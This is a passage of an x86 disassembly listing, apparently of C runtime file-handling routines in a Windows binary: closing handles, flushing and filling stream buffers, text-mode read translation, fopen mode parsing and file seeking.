		add	ecx, ds:dword_430220
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_417740
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_417746
		cmp	ds:dword_430224, 0
		jz	short loc_417746
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41A200
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_417746


loc_417740:				; CODE XREF: sub_41768E+90j
		add	ecx, ds:dword_430228


loc_417746:				; CODE XREF: sub_41768E+96j
					; sub_41768E+9Fj ...
		mov	eax, ecx
		jmp	short loc_41774D
; ---------------------------------------------------------------------------


loc_41774A:				; CODE XREF: sub_41768E+13j
					; sub_41768E+1Fj
		or	eax, 0FFFFFFFFh


loc_41774D:				; CODE XREF: sub_41768E+BAj
		pop	ebx
		leave
		retn
sub_41768E	endp


; =============== S U B	R O U T	I N E =======================================



sub_417750	proc near		; CODE XREF: sub_412E40+2Ap
					; sub_41A706+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, ds:dword_4623A0
		jnb	loc_4177EA
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4622A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4177EA
		push	edi
		call	sub_41A672
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4177C9
		cmp	edi, 1
		jz	short loc_417797
		cmp	edi, 2
		jnz	short loc_4177AD


loc_417797:				; CODE XREF: sub_417750+40j
		push	2
		call	sub_41A672
		push	1
		mov	ebp, eax
		call	sub_41A672
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_4177C9


loc_4177AD:				; CODE XREF: sub_417750+45j
		push	edi
		call	sub_41A672
		pop	ecx
		push	eax
		call	ds:dword_41D068	; CloseHandle
		test	eax, eax
		jnz	short loc_4177C9
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_4177CB
; ---------------------------------------------------------------------------


loc_4177C9:				; CODE XREF: sub_417750+3Bj
					; sub_417750+5Bj ...
		xor	ebp, ebp


loc_4177CB:				; CODE XREF: sub_417750+77j
		push	edi
		call	loc_41A5F8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_4177E6
		push	ebp
		call	sub_418672
		pop	ecx
		jmp	short loc_4177FB
; ---------------------------------------------------------------------------


loc_4177E6:				; CODE XREF: sub_417750+8Bj
		xor	eax, eax
		jmp	short loc_4177FE
; ---------------------------------------------------------------------------


loc_4177EA:				; CODE XREF: sub_417750+Ej
					; sub_417750+2Fj
		and	ds:dword_460F90, 0
		mov	ds:dword_460F8C, 9


loc_4177FB:				; CODE XREF: sub_417750+94j
		or	eax, 0FFFFFFFFh


loc_4177FE:				; CODE XREF: sub_417750+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417750	endp


; =============== S U B	R O U T	I N E =======================================



sub_417803	proc near		; CODE XREF: sub_412E40+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41782C
		test	al, 8
		jz	short loc_41782C
		push	dword ptr [esi+8]
		call	sub_4120D3
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41782C:				; CODE XREF: sub_417803+Aj
					; sub_417803+Ej
		pop	esi
		retn
sub_417803	endp


; =============== S U B	R O U T	I N E =======================================



sub_41782E	proc near		; CODE XREF: sub_4178CE+2Dp
					; sub_4178CE+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_417840
		push	esi
		call	sub_4178CE
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417840:				; CODE XREF: sub_41782E+7j
		push	esi
		call	sub_417869
		test	eax, eax
		pop	ecx
		jz	short loc_417850
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417850:				; CODE XREF: sub_41782E+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_417865
		push	dword ptr [esi+10h]
		call	sub_41A6AF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417865:				; CODE XREF: sub_41782E+26j
		xor	eax, eax
		pop	esi
		retn
sub_41782E	endp


; =============== S U B	R O U T	I N E =======================================



sub_417869	proc near		; CODE XREF: sub_412E40+1Ap
					; sub_41324E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_4178B6
		test	ax, 108h
		jz	short loc_4178B6
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4178B6
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4191D0
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_4178AF
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_4178B6
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_4178B6
; ---------------------------------------------------------------------------


loc_4178AF:				; CODE XREF: sub_417869+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_4178B6:				; CODE XREF: sub_417869+14j
					; sub_417869+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_417869	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178C5	proc near		; CODE XREF: sub_41948Cp
		push	1
		call	sub_4178CE
		pop	ecx
		retn
sub_4178C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178CE	proc near		; CODE XREF: sub_41782E+Ap
					; sub_4178C5+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ds:dword_462280, esi
		jle	short loc_41792C


loc_4178DF:				; CODE XREF: sub_4178CE+5Cj
		mov	eax, ds:dword_46127C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_417923
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_417923
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_417909
		push	eax
		call	sub_41782E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_417923
		inc	ebx
		jmp	short loc_417923
; ---------------------------------------------------------------------------


loc_417909:				; CODE XREF: sub_4178CE+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_417923
		test	cl, 2
		jz	short loc_417923
		push	eax
		call	sub_41782E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_417923
		or	edi, eax


loc_417923:				; CODE XREF: sub_4178CE+1Bj
					; sub_4178CE+23j ...
		inc	esi
		cmp	esi, ds:dword_462280
		jl	short loc_4178DF


loc_41792C:				; CODE XREF: sub_4178CE+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_417937
		mov	eax, edi


loc_417937:				; CODE XREF: sub_4178CE+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4178CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41793B	proc near		; CODE XREF: sub_412E96+A9p
					; sub_413AEC+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_417A0F
		test	al, 40h
		jnz	loc_417A0F
		test	al, 2
		jz	short loc_417961
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_417A0F
; ---------------------------------------------------------------------------


loc_417961:				; CODE XREF: sub_41793B+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417975
		push	esi
		call	sub_41937D
		pop	ecx
		jmp	short loc_41797A
; ---------------------------------------------------------------------------


loc_417975:				; CODE XREF: sub_41793B+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41797A:				; CODE XREF: sub_41793B+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_417A14
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_4179FE
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4179FE
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_4179D3
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_4179BC
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, ds:dword_4622A0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_4179C1
; ---------------------------------------------------------------------------


loc_4179BC:				; CODE XREF: sub_41793B+6Bj
		mov	edi, offset dword_42FED0


loc_4179C1:				; CODE XREF: sub_41793B+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_4179D3
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_4179D3:				; CODE XREF: sub_41793B+62j
					; sub_41793B+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_4179F0
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_4179F0
		test	ch, 4
		jnz	short loc_4179F0
		mov	dword ptr [esi+18h], 1000h


loc_4179F0:				; CODE XREF: sub_41793B+9Fj
					; sub_41793B+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4179FE:				; CODE XREF: sub_41793B+55j
					; sub_41793B+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_417A0F:				; CODE XREF: sub_41793B+Aj
					; sub_41793B+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41793B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A14	proc near		; CODE XREF: sub_412E96+90p
					; sub_41793B+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, ds:dword_4623A0
		jnb	loc_417BF1
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4622A0h[eax*4]
		mov	eax, ds:dword_4622A0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_417BF1
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_417AC9
		test	dl, 2
		jnz	short loc_417AC9
		test	dl, 48h
		jz	short loc_417A89
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_417A89
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_417A89:				; CODE XREF: sub_417A14+56j
					; sub_417A14+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:dword_41D08C	; ReadFile
		test	eax, eax
		jnz	short loc_417ADC
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_417AC4
		mov	ds:dword_460F8C, 9
		mov	ds:dword_460F90, ecx
		jmp	loc_417C02
; ---------------------------------------------------------------------------


loc_417AC4:				; CODE XREF: sub_417A14+99j
		cmp	eax, 6Dh
		jnz	short loc_417AD0


loc_417AC9:				; CODE XREF: sub_417A14+4Cj
					; sub_417A14+51j
		xor	eax, eax
		jmp	loc_417C05
; ---------------------------------------------------------------------------


loc_417AD0:				; CODE XREF: sub_417A14+B3j
		push	eax
		call	sub_418672
		pop	ecx
		jmp	loc_417C02
; ---------------------------------------------------------------------------


loc_417ADC:				; CODE XREF: sub_417A14+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_417BEC
		test	edx, edx
		jz	short loc_417B01
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_417B01
		or	al, 4
		jmp	short loc_417B03
; ---------------------------------------------------------------------------


loc_417B01:				; CODE XREF: sub_417A14+E2j
					; sub_417A14+E7j
		and	al, 0FBh


loc_417B03:				; CODE XREF: sub_417A14+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_417BE6


loc_417B1B:				; CODE XREF: sub_417A14+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_417BD6
		cmp	al, 0Dh
		jz	short loc_417B37
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_417BC8
; ---------------------------------------------------------------------------


loc_417B37:				; CODE XREF: sub_417A14+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_417B55
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_417B4C
		add	[ebp+arg_8], 2
		jmp	short loc_417BAA
; ---------------------------------------------------------------------------


loc_417B4C:				; CODE XREF: sub_417A14+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_417BC8
; ---------------------------------------------------------------------------


loc_417B55:				; CODE XREF: sub_417A14+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_41D08C	; ReadFile
		test	eax, eax
		jnz	short loc_417B7D
		call	ds:dword_41D060	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_417BC4


loc_417B7D:				; CODE XREF: sub_417A14+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_417BC4
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_417B9F
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_417BAA
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_417BC8
; ---------------------------------------------------------------------------


loc_417B9F:				; CODE XREF: sub_417A14+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_417BAF
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_417BAF


loc_417BAA:				; CODE XREF: sub_417A14+136j
					; sub_417A14+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_417BC7
; ---------------------------------------------------------------------------


loc_417BAF:				; CODE XREF: sub_417A14+18Ej
					; sub_417A14+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_417DF2
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_417BC8


loc_417BC4:				; CODE XREF: sub_417A14+167j
					; sub_417A14+16Dj
		mov	byte ptr [edi],	0Dh


loc_417BC7:				; CODE XREF: sub_417A14+199j
		inc	edi


loc_417BC8:				; CODE XREF: sub_417A14+11Ej
					; sub_417A14+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_417B1B
		jmp	short loc_417BE6
; ---------------------------------------------------------------------------


loc_417BD6:				; CODE XREF: sub_417A14+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_417BE6
		or	al, 2
		mov	[esi], al


loc_417BE6:				; CODE XREF: sub_417A14+101j
					; sub_417A14+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_417BEC:				; CODE XREF: sub_417A14+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_417C05
; ---------------------------------------------------------------------------


loc_417BF1:				; CODE XREF: sub_417A14+12j
					; sub_417A14+39j
		and	ds:dword_460F90, 0
		mov	ds:dword_460F8C, 9


loc_417C02:				; CODE XREF: sub_417A14+ABj
					; sub_417A14+C3j
		or	eax, 0FFFFFFFFh


loc_417C05:				; CODE XREF: sub_417A14+B7j
					; sub_417A14+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C0A	proc near		; CODE XREF: sub_412F7E+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_46124C
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_417C43
		cmp	al, 72h
		jz	short loc_417C3C
		cmp	al, 77h
		jnz	loc_417D57
		mov	ecx, 301h
		jmp	short loc_417C48
; ---------------------------------------------------------------------------


loc_417C3C:				; CODE XREF: sub_417C0A+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_417C4B
; ---------------------------------------------------------------------------


loc_417C43:				; CODE XREF: sub_417C0A+1Dj
		mov	ecx, 109h


loc_417C48:				; CODE XREF: sub_417C0A+30j
		or	esi, 2


loc_417C4B:				; CODE XREF: sub_417C0A+37j
		push	1
		pop	edx


loc_417C4E:				; CODE XREF: sub_417C0A+8Bj
					; sub_417C0A+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_417D3D
		cmp	edx, ebx
		jz	loc_417D3D
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_417CDC
		jz	short loc_417CCC
		sub	eax, 2Bh
		jz	short loc_417CB6
		sub	eax, 19h
		jz	short loc_417CAC
		sub	eax, 0Eh
		jz	short loc_417C97
		dec	eax
		jnz	loc_417D2E
		cmp	[ebp+var_4], ebx
		jnz	loc_417D2E
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_417C4E
; ---------------------------------------------------------------------------


loc_417C97:				; CODE XREF: sub_417C0A+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_417D2E
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_417C4E
; ---------------------------------------------------------------------------


loc_417CAC:				; CODE XREF: sub_417C0A+6Aj
		test	cl, 40h
		jnz	short loc_417D2E
		or	ecx, 40h
		jmp	short loc_417C4E
; ---------------------------------------------------------------------------


loc_417CB6:				; CODE XREF: sub_417C0A+65j
		test	cl, 2
		jnz	short loc_417D2E
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_417C4E
; ---------------------------------------------------------------------------


loc_417CCC:				; CODE XREF: sub_417C0A+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_417D2E
		or	ecx, eax
		jmp	loc_417C4E
; ---------------------------------------------------------------------------


loc_417CDC:				; CODE XREF: sub_417C0A+5Ej
		sub	eax, 62h
		jz	short loc_417D29
		dec	eax
		jz	short loc_417D12
		sub	eax, 0Bh
		jz	short loc_417CFB
		sub	eax, 6
		jnz	short loc_417D2E
		test	ch, 0C0h
		jnz	short loc_417D2E
		or	ch, 40h
		jmp	loc_417C4E
; ---------------------------------------------------------------------------


loc_417CFB:				; CODE XREF: sub_417C0A+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_417D2E
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_417C4E
; ---------------------------------------------------------------------------


loc_417D12:				; CODE XREF: sub_417C0A+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_417D2E
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_417C4E
; ---------------------------------------------------------------------------


loc_417D29:				; CODE XREF: sub_417C0A+D5j
		test	ch, 0C0h
		jz	short loc_417D35


loc_417D2E:				; CODE XREF: sub_417C0A+72j
					; sub_417C0A+7Bj ...
		xor	edx, edx
		jmp	loc_417C4E
; ---------------------------------------------------------------------------


loc_417D35:				; CODE XREF: sub_417C0A+122j
		or	ch, 80h
		jmp	loc_417C4E
; ---------------------------------------------------------------------------


loc_417D3D:				; CODE XREF: sub_417C0A+4Aj
					; sub_417C0A+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41A706
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_417D5B


loc_417D57:				; CODE XREF: sub_417C0A+25j
		xor	eax, eax
		jmp	short loc_417D75
; ---------------------------------------------------------------------------


loc_417D5B:				; CODE XREF: sub_417C0A+14Bj
		mov	eax, [ebp+arg_C]
		inc	ds:dword_46114C
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_417D75:				; CODE XREF: sub_417C0A+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417C0A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417D7A	proc near		; CODE XREF: sub_412F7Ep
		mov	edx, ds:dword_462280
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_417DEB
		mov	ebx, ds:dword_46127C
		mov	edi, ebx


loc_417D96:				; CODE XREF: sub_417D7A+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_417DB1
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_417DAC
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_417D96
		jmp	short loc_417DEB
; ---------------------------------------------------------------------------


loc_417DAC:				; CODE XREF: sub_417D7A+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417DB1:				; CODE XREF: sub_417D7A+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41205F
		pop	ecx
		mov	ecx, ds:dword_46127C
		mov	[edi+ecx], eax
		mov	eax, ds:dword_46127C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_417DEB
		mov	esi, edi


loc_417DD5:				; CODE XREF: sub_417D7A+35j
		cmp	esi, ebp
		jz	short loc_417DEB
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_417DEB:				; CODE XREF: sub_417D7A+12j
					; sub_417D7A+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417D7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DF2	proc near		; CODE XREF: sub_41324E+67p
					; sub_413F77+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, ds:dword_4623A0
		push	esi
		push	edi
		jnb	short loc_417E74
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4622A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_417E74
		push	eax
		call	sub_41A672
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_417E36
		mov	ds:dword_460F8C, 9
		jmp	short loc_417E85
; ---------------------------------------------------------------------------


loc_417E36:				; CODE XREF: sub_417DF2+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:dword_41D090	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_417E56
		call	ds:dword_41D060	; RtlGetLastWin32Error
		jmp	short loc_417E58
; ---------------------------------------------------------------------------


loc_417E56:				; CODE XREF: sub_417DF2+5Aj
		xor	eax, eax


loc_417E58:				; CODE XREF: sub_417DF2+62j
		test	eax, eax
		jz	short loc_417E65
		push	eax
		call	sub_418672
		pop	ecx
		jmp	short loc_417E85
; ---------------------------------------------------------------------------


loc_417E65:				; CODE XREF: sub_417DF2+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_417E88
; ---------------------------------------------------------------------------


loc_417E74:				; CODE XREF: sub_417DF2+Dj
					; sub_417DF2+2Aj
		and	ds:dword_460F90, 0
		mov	ds:dword_460F8C, 9


loc_417E85:				; CODE XREF: sub_417DF2+42j
					; sub_417DF2+71j
		or	eax, 0FFFFFFFFh


loc_417E88:				; CODE XREF: sub_417DF2+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_417DF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E8C	proc near		; CODE XREF: sub_41324E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_417EA8
		mov	[edi+4], ebx


loc_417EA8:				; CODE XREF: sub_417E8C+17j
		push	1
		push	ebx
		push	esi
		call	sub_417DF2
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_417F16
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_417ECD
		sub	eax, [edi+4]
		jmp	loc_417FDF
; ---------------------------------------------------------------------------


loc_417ECD:				; CODE XREF: sub_417E8C+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_417F07
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, ds:dword_4622A0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_417F1E
		mov	edx, ecx


loc_417EF8:				; CODE XREF: sub_417E8C+79j
		cmp	edx, eax
		jnb	short loc_417F1E
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_417F04
		inc	[ebp+var_8]


loc_417F04:				; CODE XREF: sub_417E8C+73j
		inc	edx
		jmp	short loc_417EF8
; ---------------------------------------------------------------------------


loc_417F07:				; CODE XREF: sub_417E8C+50j
		test	dl, 80h
		jnz	short loc_417F1E
		mov	ds:dword_460F8C, 16h


loc_417F16:				; CODE XREF: sub_417E8C+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_417FDF
; ---------------------------------------------------------------------------


loc_417F1E:				; CODE XREF: sub_417E8C+68j
					; sub_417E8C+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_417F2C
		mov	eax, [ebp+var_8]
		jmp	loc_417FDF
; ---------------------------------------------------------------------------


loc_417F2C:				; CODE XREF: sub_417E8C+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_417FD7
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_417F45
		and	[ebp+var_8], edx
		jmp	loc_417FD7
; ---------------------------------------------------------------------------


loc_417F45:				; CODE XREF: sub_417E8C+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4622A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_417FD1
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_417DF2
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_417F98
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_417F83:				; CODE XREF: sub_417E8C+104j
		cmp	eax, ecx
		jnb	short loc_417F92
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_417F8F
		inc	[ebp+arg_0]


loc_417F8F:				; CODE XREF: sub_417E8C+FEj
		inc	eax
		jmp	short loc_417F83
; ---------------------------------------------------------------------------


